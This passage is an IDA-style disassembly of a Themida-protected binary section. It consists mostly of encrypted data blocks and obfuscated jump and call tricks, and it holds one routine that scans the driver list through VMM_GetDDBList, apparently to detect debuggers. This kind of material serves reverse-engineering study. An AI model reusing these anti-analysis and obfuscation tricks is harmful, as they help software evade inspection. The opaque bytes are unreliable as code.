0F29E7A67h, 43F72CD3h dd 2AD60BB4h, 0D3BFF4ABh, 8C4EE576h, 0ADF18CDh, 0E9659A51h dd 629F4417h, 0AA21A188h, 69C59423h, 60428B94h, 5222397Bh dd 68000000h, 235E04D7h, 0D0C4FDA4h, 0D3E67754h, 0AF33F608h dd 47EDCC7Ch, 0D27037EBh, 0FBEDCC7Ch, 528B42F9h, 500FA675h dd 4D3C0ECDh, 6DCC7CD5h, 0E7B975F1h, 7D91D6E6h, 3D812AD6h dd 0F8131E81h, 0ED5C7155h, 0C7h, 66A34813h, 0C5A29281h dd 4E2B6F39h, 1EBD5C76h, 0A7324Ch, 94F5AECBh, 7267FC0Ch dd 0B96DA65Bh, 93ED99BDh, 70E722C8h, 919581B8h, 1348FFBCh dd 32672097h, 1AEAA118h, 691D3974h, 0E91D6E04h, 4A26773Ah dd 3CFF712Dh, 0E4564A87h, 23CC9D25h, 0D9FD7994h, 0CDBC0704h dd 0CB39423h, 0BEF3AC75h, 0BD1EB50Ah, 5E8DE8A3h, 6A639E16h dd 48FFA0C2h, 9AF42613h, 0D512B574h, 72284521h, 0D48B0AF6h dd 52E1F39Fh, 5E7D9CB3h, 4418CD8Ch, 0B5B1659Ch, 6C81E591h dd 0AF816A94h, 9C6AB082h, 0DFDE7DEDh, 0B496A3FAh, 7BDFC374h dd 0F00DE919h, 23955833h, 10EE1094h, 892A919h, 2AD14D80h dd 80089298h, 0D7CBA07Ch, 0D749DF5Bh, 6F235E04h, 7087D6F3h dd 26CA916Bh, 10EE12E7h, 4DF20EDBh, 6277B7E5h, 0F9FACEA9h dd 0C9A5A667h, 15F692E9h, 32A9596Eh, 0D155417Ch, 0E18A01F5h dd 2A930ACh, 1E427B32h, 8A42372h, 0F2972AC3h, 792D681Eh dd 0AE2DD9FDh, 2C6D20FAh, 2ECD5C48h, 2D962997h, 0A3D88F96h dd 0C2F7B027h, 0D714B7CEh, 6B0AB92Bh, 70EC21CAh, 141742E9h dd 0C5C978AEh, 0E591CA7Fh, 0B1959181h, 0AD4C5h, 5DDC0000h dd 0BDB96DAAh, 6D5F04A0h, 493D8032h, 0B0649952h, 463A7519h dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h dd 55417830h, 0E68956CFh, 4C681h, 0EE830000h, 24348704h dd 2434895Ch, 7BB68h, 24348900h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 6852240Ch, 100F7351h, 0FFEA815Ah dd 81FFFFFFh, 806A29C2h, 83C2812Fh, 89C68598h, 8B545AD6h dd 0C483240Ch, 8BA5204h, 81000000h, 8067D5C2h, 81CA0167h dd 8067D5EAh, 5A328967h, 592434FFh, 4C481h, 34FF0000h dd 0C4815E24h, 4, 0FB053FE9h, 0F600F4FFh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- mov dl, 0C6h loc_5A2F9F: ; CODE XREF: Themida_:005A2A64j mov eax, 6157AAAh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 8FBF45h, 783C2DC5h, 4095E981h, 1E4CBD7h, 30E086D8h dd 72FA25E4h, 60A04F2Ah, 1A9999EEh, 12613B78h, 3288BF1Eh dd 24513CEFh, 1BD59234h, 1E5B92C7h, 310C95BBh, 171F119Bh dd 61433913h, 10150C9Eh, 2303566h, 3BCDEA41h, 0D4795C9h dd 54C85AAEh, 25B045C6h, 5917FB4h, 75656ABFh, 5B78AABCh dd 6D177E93h, 1158EDFFh, 2021EB3Dh, 30F8BE6Eh, 714B589Bh dd 2804AE84h, 6513E5A0h, 7C988D8Dh, 9E80615h db 3 dup(0) byte_5A3033 db 44h ; DATA XREF: Themida_:0054B510o dd 30C064A0h, 0F2C464D4h, 21799589h, 895B0610h, 1009F58Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 83995E55h, 0D275D543h, 0A59D09h, 0B5890610h dd 6101FB1h, 231985C7h, 5C600610h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 144334C3h dd 29F122C4h, 0F186079h, 85C7D0B7h, 61022C1h, 0 ; --------------------------------------------------------------------------- mov [ebp+6101599h], edi push dword ptr [ebp+61011EDh] push 0 push ebx call sub_5A30CB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A30CB proc near ; CODE XREF: Themida_:005A30C3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5A30CB endp ; --------------------------------------------------------------------------- pop ss pop ebx setalc xchg eax, ecx fmul dword ptr [esi+3Ch] and [edx-8], edx call dword ptr [ebp+6102DB9h] js loc_5A30FC jmp loc_5A30FC ; --------------------------------------------------------------------------- dw 2F8Dh dd 12AA1367h ; --------------------------------------------------------------------------- loc_5A30FC: ; CODE XREF: Themida_:005A30EBj ; Themida_:005A30F1j push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5A3170 ; --------------------------------------------------------------------------- dd 92983D99h, 8EA4E512h, 0A5B5B76Fh, 54F50C65h, 5C6842D9h dd 1686C80Fh, 1C744598h, 26E73533h, 2FCC9421h, 0A95FD18Ch dd 40A13838h, 0F9A80405h, 2AD04842h, 1865A9C2h, 4CBCCAF8h dd 7B9F2425h, 28E81EAh, 48334170h, 0C358753Bh, 0CF70F089h dd 5B9550E2h, 8FE8A2DCh, 2D71B35h, 0FD53499Fh, 8962C745h dd 0CD1A7F11h ; --------------------------------------------------------------------------- loc_5A3170: ; CODE XREF: Themida_:005A3106j lea ebx, [ebp+6102335h] mov eax, 2Ah mov [ebp+6102799h], eax call $+5 pop eax add eax, 0Dh mov [ebx], eax jmp loc_5A31BD ; --------------------------------------------------------------------------- byte_5A3193 db 0 ; DATA XREF: Themida_:0054D7A0o dd 9 dup(77E600h), 0FF77E600h db 0FFh ; --------------------------------------------------------------------------- loc_5A31BD: ; CODE XREF: Themida_:005A318Ej jmp short loc_5A321F ; --------------------------------------------------------------------------- align 10h dd 17h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A321F: ; CODE XREF: Themida_:loc_5A31BDj jmp loc_5A3E46 ; --------------------------------------------------------------------------- jmp loc_5A3E3F ; --------------------------------------------------------------------------- push 61585E2h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615875Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61587E3h jmp loc_5534D8 ; --------------------------------------------------------------------------- db 56h dd 3EBD71B4h, 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h dd 76B55785h, 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h dd 6BD9019Ah, 32971D7Ah, 0E1523E7Fh, 5C954C0Fh, 0D011B47Fh dd 0DD5C825Ch, 2105F126h, 0CC7CC87Ah, 1B302C6Dh, 0BEB2E7A0h dd 16E823C7h, 23B638D5h, 5D7AE7E2h, 590CCFA1h, 2FDB6722h dd 0DF3B6DCCh, 36130F03h, 0C695CC7Dh, 332FE322h, 0CC2FFE44h dd 361A166Dh, 1B0EF04Ah, 6DCC2FA7h, 4D06E33Fh, 31A85C9Bh dd 0DA54407Fh, 8470AB5Fh, 5B10CBA0h, 0AE53721Eh, 0F468676Ch dd 361A3246h, 0B4F39524h, 38F0E797h, 19A01501h, 0ED01A8C2h dd 0D767F994h, 2F1B2896h, 8B604D00h, 9FC19B97h, 4F2C651Ch dd 29A5DC84h, 5F053FDCh, 0DCF87C28h, 12A70702h, 35F9426h dd 2DFD04E9h, 9A04C25Ah, 21CAC1BDh, 32DA70ECh, 0FD764479h dd 1BC05CCFh, 5E04D78Dh, 0D6F36F23h, 2BF6CA60h, 0B366B22h dd 2Bh, 1BC05C81h, 97D67A41h, 0D4D7EAC2h, 6DCC7C6Eh, 0D71CAA86h dd 3E7F32A9h, 0FDA9E287h, 32C86479h, 4275437Ah, 31408Ah dd 0D78C0000h, 7C4002A9h, 0C8A46DCCh, 15C652B3h, 6ED4D787h dd 0A46DCC7Ch, 0F5D7EAB0h, 4002A9D7h, 6F6DCC7Ch, 9AD3B78Ch dd 4ECAC247h, 0D30AC279h, 5C8A4245h, 5D4C1EBDh, 67FC1FC4h dd 777486E2h, 34EEF469h, 671734D1h, 23968640h, 0F50B6594h dd 23968C36h, 0EF0C6894h, 0DD30B54Ch, 0BD397B4Bh, 1ECh dd 2ABF5C0Fh, 0CC7CC37Fh, 2B47236Dh, 6E3E2F51h, 5F5BE569h dd 9733F00Dh, 6F6DCC0Bh, 49C00AEAh, 0BE70B7Dh, 0A61C0FF1h dd 3E6DCC0Ah, 0FA4B59D9h, 0DF03D859h, 0C67D1C0Ah, 328F1D91h dd 0AF2A4479h, 4A0BDFEh, 96D7CFFDh, 0BBC08F97h, 31D4A987h dd 357036A5h, 9EDB904Bh, 4D703C9h, 534C2160h, 366B218Ah dd 406Ah, 21C59400h, 5C3B11E6h, 0D78D1BC0h, 0CC7C6ED4h dd 1CAA866Dh, 4D7A9D7h, 0F571255Ch, 0CC7CBC06h, 0FFDC586Dh dd 437A3225h, 896D775h, 85B84FEFh, 2418D3A8h, 0CAB6F195h dd 40BB9166h, 2Fh, 1BC05C8Ch, 97D67A41h, 782C6D20h, 0D745DFFCh dd 0CC7C6ED4h, 0EAB0A46Dh, 0A9D7F5D7h, 0CC7C4002h, 0B3C8A46Dh dd 37498028h, 0A6C3FEA4h, 5C8A421Eh, 5B4E20BFh, 6DCC7CF3h dd 64630F0Bh, 34D286BBh, 2A447932h, 7CED5554h, 24096DCCh dd 21A7B5ACh, 46233FEEh, 0D7CFFD7Eh, 7C4002A9h, 0C8A46DCCh dd 1FC652B3h, 0CC7CD66Ch, 73322E6Dh, 0EAB094CFh, 4E1D96D7h dd 0C2E06249h, 28046DCCh, 0E6A5643h, 0F6E78539h, 366B222Bh dd 6B0Bh, 0C05C8100h, 6C1F411Bh, 6DCC7CD6h, 8F15322Eh dd 4002A9D7h, 0A46DCC7Ch, 0B3CDB3C8h, 2D4A7F28h, 0CC7CCC76h dd 7E4C286Dh, 78C4A9D7h, 0CEC4E388h, 32E5BF9Ch, 2B03A87Ah dd 0EA463A79h, 9F161A06h, 694B0EBh, 0C67B3E42h, 0C09D998Dh dd 32A9D7E4h, 0E959407Dh, 0D6DCC7Ch, 538D3C11h, 0B3000000h dd 0F7AC8228h, 866AC6BAh, 0EBC1969Ah, 8D1BC05Ch, 255C04D7h dd 7CB15A71h, 0AB057358h, 0CC749452h, 60E2C9AFh, 0A26DCC9Ah dd 0A9D7E4B2h, 50447932h, 7C9D25D4h, 0FD796DCCh, 3232F8E0h dd 0C801A87Ah, 30E158DCh, 431F03EFh, 0C2FBB229h, 0AF7552CEh dd 5408A42h, 8C000001h, 4E20BF5Ch, 0E75B4E30h, 0FF6DCC7Ch dd 0FD5D4623h, 0E76DCC7Ch, 731EECE6h, 2EDF4EE2h, 193D39EDh dd 0A2473E44h, 0DD0AB873h, 6EEA6DCCh, 3826E52h, 0C9B3275Ch dd 6E225B12h, 0E3E0C5F2h, 9528CF7Bh, 0A9D7ECB8h, 0CC7C4002h dd 0B3C8A46Dh, 7C4A7F28h, 0C05CCFFDh, 688CCD80h, 1C16896h dd 0E56DCC7Ch, 35D87489h, 222BF697h, 3B0B366Bh, 81000000h dd 411BC05Ch, 0BA3E0F0Ch, 0CAEEDB12h, 9CAD9A4Eh, 5F0FB78Ah dd 0D794304Dh, 0CC7C6ED4h, 1CAA866Dh, 7A32F5D7h, 96D77543h dd 90376B20h, 54933586h, 58F05B70h, 5B40h, 0C05C8C00h dd 0D67A411Bh, 0D7EAC297h, 7C4002A9h, 2DA46DCCh, 0D0544077h dd 7EF1C7F4h, 8B6ED966h, 239F8A6Eh, 0A16DCCBDh, 0BD76CCBFh dd 9C8E6DCCh, 0CCBD55EDh, 91B5B16Dh, 0AA70E4BCh, 4002A9D7h dd 0A46DCC7Ch, 235C11C8h, 2D6F36Fh, 0D796D728h, 4A9680FFh dd 863EF5D2h, 8A42C94Fh, 0F53B7932h, 3262E2h, 0E05A462Ah dd 2D162EEBh, 0EB00B85Ch, 0CB7FBA70h, 22C3934Ch, 70EB05E1h dd 8F937FBAh, 279DCCBAh, 0F86DCC9Eh, 1661A4Fh, 1C50290Fh dd 0DE91485Fh, 50E3F5A1h, 0AA590BB1h, 4C812A0Bh, 2D620990h dd 90340779h, 0F512B05Bh, 76F26DCCh, 0ADCAA65Ah, 4EF57F09h dd 80B56EB7h, 7B6077CCh, 9639AA61h, 81DD67FCh, 1A78C695h dd 0E89B943Ch, 0D061AC49h, 3941397Ah, 8B000000h, 50447932h dd 0CC7CB909h, 0B6EF966Dh, 0DF14CBCAh, 0D2782F33h, 0DAEEB97h dd 0E9984A76h, 28C9904Ah, 775B964Ch, 9D2A78Bh, 0A1DC9262h dd 0ACC2ABC5h, 0E15EABADh, 0DF6DF106h, 50447932h, 75875463h dd 0F9F9F4B6h, 0BA949067h, 0FE5DE5A4h, 0BDB99426h, 2AC916A0h dd 77EC9FB1h, 8F9E169Dh, 0E4A7B993h, 9E16235Eh, 0E19DBAB6h dd 16230CBAh, 3DD4EF9Eh, 7EC4C799h, 969E1623h, 235DE5A4h dd 0BDB99E16h, 0F2BBC499h, 0D23F90D6h, 28h, 20BF5C38h dd 7CF75B4Eh, 130F6DCCh, 92CB8239h, 984F93B8h, 0BBEEAB0Ch dd 0CC7472D0h, 0BA96926Dh, 12B0199Dh, 1C000000h, 4E20BF5Ch dd 0CC7CF35Bh, 3D0F0B6Dh, 1A8EC77Eh, 1B4408Ch, 1E400000h dd 0CC7CD76Bh, 16332F6Dh, 26C35C8Eh, 0CC7CDF63h, 6332376Dh dd 0B96DF43Ch, 25F3CFF3h, 7932CFFDh, 96D77644h, 7C2F889Ah dd 958B1A3Fh, 75B056D5h, 0EC8A581h, 6004D778h, 0F1A5E086h dd 0C1A55175h, 222AF3ACh, 390A366Bh, 80000000h, 8E1CC35Ch dd 7C6ED4D7h, 0B4866DCCh, 0CC7C4DF5h, 7F32A96Dh, 783E223Eh dd 7B32F5D7h, 8A427442h, 8A5C04D7h, 7BF7ABE2h, 3C868557h dd 0D86DCC7Ch, 30C27F5Ch, 3A000000h, 8E1CC35Ch, 7F32A9D7h dd 0C082293Eh, 426DCC7Ch, 0F5D78412h, 28427B32h, 0DCCFFAB1h dd 6DCC7C66h, 0ACBEA27Eh, 0CC7C45FDh, 0A8C5A16Dh, 328A421Ch dd 0FD764479h, 80C05CCFh, 9D998DCCh, 772B6A1Eh, 3551D7FBh dd 222BF697h, 440B366Bh, 81000000h, 8D1BC05Ch, 0D08E96D7h dd 67548F33h, 18D095FDh, 153135E1h, 7B3E2038h, 0B66D8AC9h dd 6DCC8C0Ch, 0D7BE8CE8h, 437A32F5h, 7B3E4275h, 0D66E8BC8h dd 6B40h, 0D7794000h, 7C5BE7A2h, 5FBB6DCCh, 5CDE6683h dd 1F411BC0h, 510D0A2Eh, 0D7BE7DA2h, 6DCCF36Bh, 0F2BA8F8Bh dd 7C6ED4D7h, 7A646DCCh, 0D9CD0EBFh, 7C14AE5Dh, 74F06DCCh dd 0BB95C157h, 7C5CE6A5h, 21B86DCCh, 0E044306Fh, 0D75DE704h dd 6296D7F5h, 2F77F988h, 5175B056h, 0D209BF7Ch, 9F23E6F8h dd 0B06DCC1Bh, 4ECAC2F7h, 8A42B379h, 235E04D7h, 5DD6F36Fh dd 631F65A9h, 55030738h, 69D68571h, 0BE6DCC18h, 447B3109h dd 0AE557420h, 0DD9E8D79h, 51B47146h, 965AC6A7h, 0ED8413BAh dd 89639E44h, 0DE7E8164h, 68855CE3h, 7C3258EEh, 90365541h dd 0D7ECA155h, 1A55F938h, 61EE79Eh, 7D316DCCh, 0CE1A1542h dd 7D05EB45h, 0C24AA659h, 2E2C336Bh, 9EFFFFFEh, 0CC7C4402h dd 7C9DA96Dh, 84576DCCh, 0D8C1A6DBh, 33D57BB8h, 0EB56E8Bh dd 0F1923302h, 92330255h, 33020CBAh, 255F192h, 5145233h dd 26FB2DCDh, 698D89DBh, 0D44E9497h, 8AE65804h, 518A2996h dd 36DA617Fh, 0AC29E2F7h, 6A5E10BAh, 66EF49EEh, 9581803Bh dd 32204h, 5B9E5000h, 79B058DFh, 568F36C5h, 73B053E2h dd 4D8C40B7h, 0FD6F9B91h, 0C9500C4Bh, 0E473E728h, 0D047033Eh dd 8366E217h, 0F9309279h, 0D7D46BD9h, 4479324Dh, 87546350h dd 0F9F0B675h, 9A8C67F9h, 26FE53EFh, 9BB7B394h, 0FEDE681Fh dd 7A999426h, 16CC8F61h, 0A24E8B40h, 0B3C5A2BEh, 137B1AF8h dd 4C1EFA9Eh, 0E55D4C32h, 19E1978h, 78CC7625h, 4C289E19h dd 0D992492Fh, 0F5B4CAA4h, 9E19784Dh, 26B0CDA9h, 0DECDF8AFh dd 9E197864h, 24DC13B9h, 0D5C1F6ADh, 47487551h, 0AB3B0C5Eh dd 0A514521h, 9E19B1A4h, 0D5A734C3h, 0A37B30ABh, 0CEABC7FCh dd 2C3499D5h, 6EED1394h, 348E7DB8h, 0D0800C33h, 0A7837754h dd 285D06D5h, 0F5B4CAB4h, 800C334Dh, 5BF00074h, 0DB93C7CDh dd 3AF16A7Fh, 2E1F1105h, 6B82FED9h, 30DBF50Eh, 800CFD92h dd 84E1F672h, 95946675h, 8A3978D5h, 0B401F571h, 0BAA4B625h dd 351249FFh, 52FA584Eh, 0D2774280h, 62BEC499h, 41E37688h dd 35120E02h, 1C90C57Eh, 96D57742h, 0EA7186EAh, 26180C41h dd 0A3ABB825h, 0A0CDC597h, 917BE9D8h, 902D7ABh, 8C593ABDh dd 0ACBE1DBCh, 6CEBB9FDh, 38F34586h, 0B6B3E88Ah, 1ED2EE6Ah dd 0E8A342D1h, 0B6B3E85Ah, 68825EBAh, 8392B4C1h, 3E3B30BCh dd 9AD98BB3h, 8D5D8AE6h, 8FACF78h, 1D87BF2Ch, 9D896688h dd 1A60Ch, 0EF32D400h, 0CD04BC3Bh, 0AAE38A11h, 0C704A72Eh dd 0A1E08413h, 91C33F2Dh, 0AD2CA0DFh, 78FFBBFCh, 942397D2h dd 702B6EBh, 0FBCC7635h, 0CB286BD9h, 6004D701h, 0B2567521h dd 0EB7A4F73h, 2A8906CCh, 0BDF6A3D2h, 4EF4C799h, 0B69ACF78h dd 6F9166CAh, 346C5C91h, 15E647E7h, 0AF0B4B38h, 0CA9167F9h dd 363AE627h, 11056121h, 0B4C615A4h, 16CB28F5h, 7115A49Eh dd 11E64A36h, 0A4A81511h, 8A403D37h, 121099Ah, 9F4F0000h dd 0B359E05Ch, 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h dd 0C783C266h, 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh dd 4D6BD9FBh, 0BD5CC450h, 115D4C1Eh, 0AD67F9F9h, 0CAD595A8h dd 96C32899h, 0C2CC8E93h, 0D6CAA6F8h, 57D308BFh, 0FEF227E0h dd 0A7B922B1h, 13DA0EE4h, 0B155E49Eh, 0CF0CBF76h, 0DE9108FAh dd 0B107AE98h, 557191F7h, 58E3BD71h, 0EA29DBB3h, 0C26AF106h dd 0A148CF8Bh, 28DC1BCDh, 25B4284Ch, 12894582h, 98E0845Eh dd 70177044h, 0E7D4F0BEh, 12D4957Fh, 0BE7A569Dh, 84569537h dd 2CD80FB5h, 99BDFAADh, 2B20FAC4h, 8ECA148Dh, 3A01D62Fh dd 53E25697h, 0E6B874AFh, 8074AF53h, 530CC7A4h, 7A2BAA1Eh dd 94B0E59Eh, 0A62CCB18h, 0E0503E07h, 0CBD7CB5h, 0D6D5A7CBh dd 942DC03Ch, 1FA366D8h, 0F78072C0h, 2CAB577Bh, 0B08A3E73h dd 0C067DBCEh, 0A37F8072h, 9120CAB6h, 0E7041D58h, 1A7Ah dd 92458600h, 9A8CCD43h, 97C0C9C7h, 6B02F1B2h, 215FB68Eh dd 0C7BBF29Ah, 32B68E6Bh, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8300h dd 5C242C87h, 5E08950h, 4, 42Dh, 24048700h, 243C895Ch dd 1DF168h, 241C8900h, 480CBFh, 0F0E7812Dh, 55052243h dd 0F14C28BDh, 81D5F772h, 2D52D8EDh, 0DC58176h, 81532C5Eh dd 0E77D28F5h, 5DEF2994h, 13AA68h, 24248900h, 4240481h dd 5B000000h, 24048157h, 3C381F2Bh, 5108438Fh, 381F2BB9h dd 84B293Ch, 2434FF59h, 4C4835Bh ; --------------------------------------------------------------------------- mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 4E7E9C50h, 87E2644Ah db 0A0h, 0C1h, 0Ch ; --------------------------------------------------------------------------- loc_5A3E3F: ; CODE XREF: Themida_:005A3224j mov eax, 6158929h add eax, ebp loc_5A3E46: ; CODE XREF: Themida_:loc_5A321Fj mov eax, ebx lea ecx, [ebp+6158AA6h] push 0 push esi call sub_5A3E59 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3E59 proc near ; CODE XREF: Themida_:005A3E51p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5A3E59 endp ; --------------------------------------------------------------------------- leave mov bh, 0DFh dec ebp xchg eax, ebp jmp loc_5A3E85 ; --------------------------------------------------------------------------- db 0BDh ; --------------------------------------------------------------------------- inc esi push 5Fh mov [edi-3Ah], bl stosd neg byte ptr [ebp+ebx*8-45h] cmp [ecx+3B06E5E4h], ebx loc_5A3E85: ; CODE XREF: Themida_:005A3E6Ej mov edi, [ebp+6103009h] mov [ebp+61009F5h], ecx jp loc_5A3E9D mov [ebp+6102845h], edx loc_5A3E9D: ; CODE XREF: Themida_:005A3E91j mov dword ptr [ebp+6102319h], 6F0Ch call near ptr loc_5A3EB6+1 fstp dword ptr [esi+ecx+41h] and [ebp-23h], ebx xor cl, [edx-30h] loc_5A3EB6: ; CODE XREF: Themida_:005A3EA7p cmp al, 23h xchg eax, ebp mov eax, ds:5806100Ch mov dword ptr [ebp+61022C1h], 0 jbe loc_5A3ED4 and edx, [ebp+61010F9h] loc_5A3ED4: ; CODE XREF: Themida_:005A3EC8j push dword ptr [ebp+610232Dh] push 0 push eax call sub_5A3EE5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3EE5 proc near ; CODE XREF: Themida_:005A3EDDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5A3EE5 endp ; --------------------------------------------------------------------------- jmp short loc_5A3F45 ; --------------------------------------------------------------------------- db 0EDh dd 6ABF724Bh, 0D3E781AEh, 0FF1084E5h, 102DB995h, 6AF806h dd 31C995FFh, 0C08B0610h, 69A479EBh, 0FC473DEEh, 1EB048A2h dd 83E3CFD7h, 22FA2CDh, 0B1D28087h, 0A8DA9290h, 0A9BE38FFh dd 0D051F969h, 0C2F707DDh, 0E242DBB4h, 0B3A438C5h db 0F3h ; --------------------------------------------------------------------------- loc_5A3F45: ; CODE XREF: Themida_:005A3EF5j dec ecx outsd mov eax, 0E31C44C0h mov esi, 0A78A82A2h sub al, 32h retn ; --------------------------------------------------------------------------- jmp short loc_5A3FD0 ; --------------------------------------------------------------------------- db 0CCh db 0D5h dd 90F2358h, 9237AD0Ah, 9A689087h, 34913AFFh, 0E7A637D1h dd 0AD866181h, 78A1C07Bh, 0FBF786DBh, 8D7A92F0h, 25B331Ah dd 64F0DDFBh, 89F2BC10h, 7F066101h, 0E9E3D539h, 184h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 40C35747h, 5D0B9580h dd 0F860508Fh, 0E961F38Bh, 5, 0A3AC0D8Fh, 0B58DF5F1h, 6158BC4h dd 0E850006Ah ; --------------------------------------------------------------------------- loc_5A3FD0: ; CODE XREF: Themida_:005A3F54j add eax, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- and [eax-3Dh], bl pop eax mov [esp+4], eax add dword ptr [esp+4], 16h inc eax push eax retn ; --------------------------------------------------------------------------- pop edx jmp short loc_5A405D ; --------------------------------------------------------------------------- clc jz loc_5A3FFF pusha jmp loc_5A3FFC ; --------------------------------------------------------------------------- db 0D0h dd 879AE082h ; --------------------------------------------------------------------------- loc_5A3FFC: ; CODE XREF: Themida_:005A3FF2j mov ah, 0A8h popa loc_5A3FFF: ; CODE XREF: Themida_:005A3FEBj lea eax, [ebp+61354E6h] jmp loc_5A4012 ; --------------------------------------------------------------------------- db 0C7h ; Ç db 60h ; ` db 0E6h ; æ db 51h ; Q db 0A7h ; § db 3Dh ; = db 6 db 43h ; C ; --------------------------------------------------------------------------- loc_5A4012: ; CODE XREF: Themida_:005A4005j jmp loc_5A4023 ; --------------------------------------------------------------------------- db 78h dd 720987F1h, 0D3DDC4E5h db 0C6h, 47h, 0BFh ; --------------------------------------------------------------------------- loc_5A4023: ; CODE XREF: Themida_:loc_5A4012j call eax cld retn ; --------------------------------------------------------------------------- pusha mov bx, di sbb bl, 0D6h popa mov cx, ds push 0 push edi call sub_5A403D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A403D proc near ; CODE XREF: Themida_:005A4035p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5A403D endp ; --------------------------------------------------------------------------- db 63h, 9Ah, 58h dd 1337B4DEh, 7E9BBBAh, 0BE000000h db 0F3h ; --------------------------------------------------------------------------- loc_5A405D: ; CODE XREF: Themida_:005A3FE8j push 0FFFFFF9Ah stc in al, dx setalc test cl, 4 jz loc_5A40D4 pusha call near ptr loc_5A4082+1 push edi mov bl, 0C1h jge short loc_5A40A0 pop ebp aad 6Fh xchg eax, esp and ah, [ecx+61h] out 40h, al ; Timer 8253-5 (AT: 8254.2). rcl byte ptr [edx], 1 loc_5A4082: ; CODE XREF: Themida_:005A406Cp sub esp, [esi-75h] rcr dword ptr [ebx-17h], 1 sldt word ptr [eax] add [edi+53h], ch mov edx, [eax+44h] lodsb or bl, dh or al, 0Bh sub cl, [ebx+618480C9h] mov edi, ebx mov ecx, ebx loc_5A40A0: ; CODE XREF: Themida_:005A4075j xor al, al loc_5A40A2: ; CODE XREF: Themida_:005A40A3j scasb jnz short loc_5A40A2 sub ecx, edi neg ecx sub edi, ecx mov edx, edi dec ecx mov ebx, ecx jmp short $+2 VMMCall VMM_GetDDBList loc_5A40B8: ; CODE XREF: Themida_:005A40D2j or eax, eax jz short loc_5A40D4 lea esi, [eax+0Ch] mov edi, edx mov ecx, ebx loc_5A40C3: ; CODE XREF: Themida_:005A40C7j cmpsb jnz short loc_5A40D0 dec ecx jnz short loc_5A40C3 mov eax, 1 jmp short locret_5A40D9 ; --------------------------------------------------------------------------- loc_5A40D0: ; CODE XREF: Themida_:005A40C4j mov eax, [eax] jmp short loc_5A40B8 ; --------------------------------------------------------------------------- loc_5A40D4: ; CODE XREF: Themida_:005A4065j ; Themida_:005A40BAj mov eax, 0 locret_5A40D9: ; CODE XREF: Themida_:005A40CEj iret ; --------------------------------------------------------------------------- jns loc_5A40E7 jno loc_5A40E7 cld loc_5A40E7: ; CODE XREF: Themida_:005A40DAj ; Themida_:005A40E0j jbe loc_5A4104 jmp loc_5A4104 ; --------------------------------------------------------------------------- dw 0EF64h dd 34AB4C9Ah, 9E1FF8F3h, 0E8DF6CDAh, 0CA353CA2h ; --------------------------------------------------------------------------- loc_5A4104: ; CODE XREF: Themida_:loc_5A40E7j ; Themida_:005A40EDj jbe loc_5A4118 jmp loc_5A4118 ; --------------------------------------------------------------------------- db 0BAh dd 0E3296BE6h, 60F61735h ; --------------------------------------------------------------------------- loc_5A4118: ; CODE XREF: Themida_:loc_5A4104j ; Themida_:005A410Aj mov dword ptr [ebp+6158C49h], 1013Fh call sub_5A4139 imul esp, [ebp-28h], 0B852FFC2h dec ebp enter 0FFFFA254h, 70h mov eax, ds:0BC99E188h movsd ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5A4139 proc near ; CODE XREF: Themida_:005A4122p ; sub_5A4151+1Bj jmp sub_5A4151 sub_5A4139 endp ; --------------------------------------------------------------------------- dw 1C5Eh dd 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh ; --------------------------------------------------------------------------- pusha ; =============== S U B R O U T I N E ======================================= sub_5A4151 proc near ; CODE XREF: sub_5A4139j pop eax add eax, 5D86h mov dx, 1581h push 1723h mov ebx, esi pop esi call sub_5A416E xor ch, [edi-15h] jbe short near ptr sub_5A4139+3 sub_5A4151 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A416E proc near ; CODE XREF: sub_5A4151+13p mov dx, 7F6Fh pop edi mov ecx, [eax] call near ptr locret_5A4186+3 fcom dword ptr [ecx+21h] int 68h ; - APPC/PC mov cl, 0Eh mov esp, 2E56EF50h locret_5A4186: ; CODE XREF: sub_5A416E+7p db 26h retf 0F9Ah sub_5A416E endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 685h dd 0F000000h, 8Ah, 0C1815F00h, 13E56F2Ch, 12BF66h, 96ABF181h dd 0B70F41A1h, 0D4E981D0h, 6610A78Eh, 89B2F2BAh, 0BE808h dd 9A300000h, 153276B7h, 0A3D8AC74h, 8DE281BDh, 5B0D82D2h dd 0F04E883h, 88Eh, 2870F00h, 